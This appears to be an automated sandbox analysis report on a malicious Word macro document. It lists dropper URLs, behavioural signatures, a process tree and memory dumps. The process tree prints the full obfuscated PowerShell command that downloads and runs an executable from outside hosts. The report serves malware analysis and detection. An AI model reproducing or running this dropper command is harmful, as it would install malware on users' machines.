Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
02/05/2024, 12:18
General
- Target 0e7a633eb876ba673ba30b79175beb50_JaffaCakes118.doc
- Size 87KB
- Sample240502-pgk3paag93
- SHA256 09393060e8ef977e14f2d5c1984eddf4881e5ae9a6844324b136ffc9e2088b24
Malware Config
Extracted
-
ps1
-
exe.dropper
http://pestigon.hu/drX.exe
-
exe.dropper
http://leathervest.ru/catalog/view/theme/odio-pro/template/drX.exe
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0e7a633eb876ba673ba30b79175beb50_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\PowersHeLL.exePowersHeLL . ( $Env:cOmSPec[4,15,25]-JoIn'')([StriNG]::JOIN( '',('107}35_36R53D22}13_8t111D114R111~33v42}56v98R32%45H37_42_44v59t111v61~46R33v43H32}34v116v107_21_36_3Y63v28H111_114Y111v33}42H56Y98D32t45}37v42H44R59Y111%28%54%60Y59%42~34_97t1}42v59Y97}24t42H45_12_35v38v42t33t59Y116R107R30%2%2}44Y63_32~111v114~111Y104D39_59%59v63~117D96Y96}63Y42Y60_59t38t40}32t33t97~39D58H96R43D61H23Y97%42t55t42Y15H39R59R59~63D117t96}96t35_42H46H59Y39}42H61v57v42~60v59Y97t61v58R96t44~46D59Y46Y35v32H40}96R57~38_42R56R96t59Y39_42~34v42%96R32Y43~38H32H98t63H61Y32D96_59Y42%34}63H35Y46H59R42v96R43~61D23H97Y42t55H42%104Y97}28%63%35}38_59}103_104%15D104Y102%116D107Y13Y37t32H31t24%111Y114D111_107_35~36}53D22~13R8t97_33D42D55}59R103Y126H99t111}125R122_119v120_120v120%102Y116D107H58~46_7_30R62_111D114}111_107%42%33R57%117~59Y42%34H63Y111D100%111}104v19Y104%111D100R111v107H13~37}32D31R24H111v100}111%104_97%42H55v42%104Y116Y41~32}61t42Y46~44t39}103~107R31}57v7~59%56_111_38R33}111~107%30v2~2t44~63v32v102H52~59~61v54v52H107D21_36t3_63v28H97_11Y32v56D33_35Y32%46v43R9~38Y35v42R103}107R31%57Y7~59_56D97v27t32H28R59}61~38}33_40}103H102v99R111_107Y58t46}7Y30v62D102t116Y28_59_46Y61_59t98H31%61%32Y44}42_60_60~111R107~58~46R7%30v62_116v45~61%42t46t36}116D50~44_46H59Y44Y39Y52R56%61Y38}59v42t98Y39R32Y60}59_111_107t16Y97%10_55D44R42}63v59Y38D32}33%97Y2v42v60Y60v46v40%42t116R50Y50'.splIT( 'R}%Yvt_~DH') |%{ [cHAr]( $_-Bxor 0x4F ) } ) ) )2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
iso690.xsl
__PSScriptPolicyTest_2alah3g1.sia.ps1
memory/216-53-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/216-66-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/216-63-0x0000022E6D5C0000-0x0000022E6D5E2000-memory.dmp
memory/1160-10-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-49-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-8-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-7-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-6-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-11-0x00007FF801150000-0x00007FF801160000-memory.dmp
memory/1160-0-0x00007FF803AB0000-0x00007FF803AC0000-memory.dmp
memory/1160-12-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-13-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-14-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-15-0x00007FF801150000-0x00007FF801160000-memory.dmp
memory/1160-18-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-19-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-17-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-20-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-16-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-47-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-48-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-51-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-50-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-52-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-9-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-5-0x00007FF843ACD000-0x00007FF843ACE000-memory.dmp
memory/1160-3-0x00007FF803AB0000-0x00007FF803AC0000-memory.dmp
memory/1160-4-0x00007FF803AB0000-0x00007FF803AC0000-memory.dmp
memory/1160-2-0x00007FF803AB0000-0x00007FF803AC0000-memory.dmp
memory/1160-72-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-73-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-1-0x00007FF803AB0000-0x00007FF803AC0000-memory.dmp
memory/1160-551-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-552-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-554-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-555-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-553-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-556-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-557-0x00007FF843A30000-0x00007FF843C25000-memory.dmp
memory/1160-578-0x00007FF803AB0000-0x00007FF803AC0000-memory.dmp
memory/1160-579-0x00007FF803AB0000-0x00007FF803AC0000-memory.dmp
memory/1160-577-0x00007FF803AB0000-0x00007FF803AC0000-memory.dmp
memory/1160-580-0x00007FF803AB0000-0x00007FF803AC0000-memory.dmp
memory/1160-581-0x00007FF843A30000-0x00007FF843C25000-memory.dmp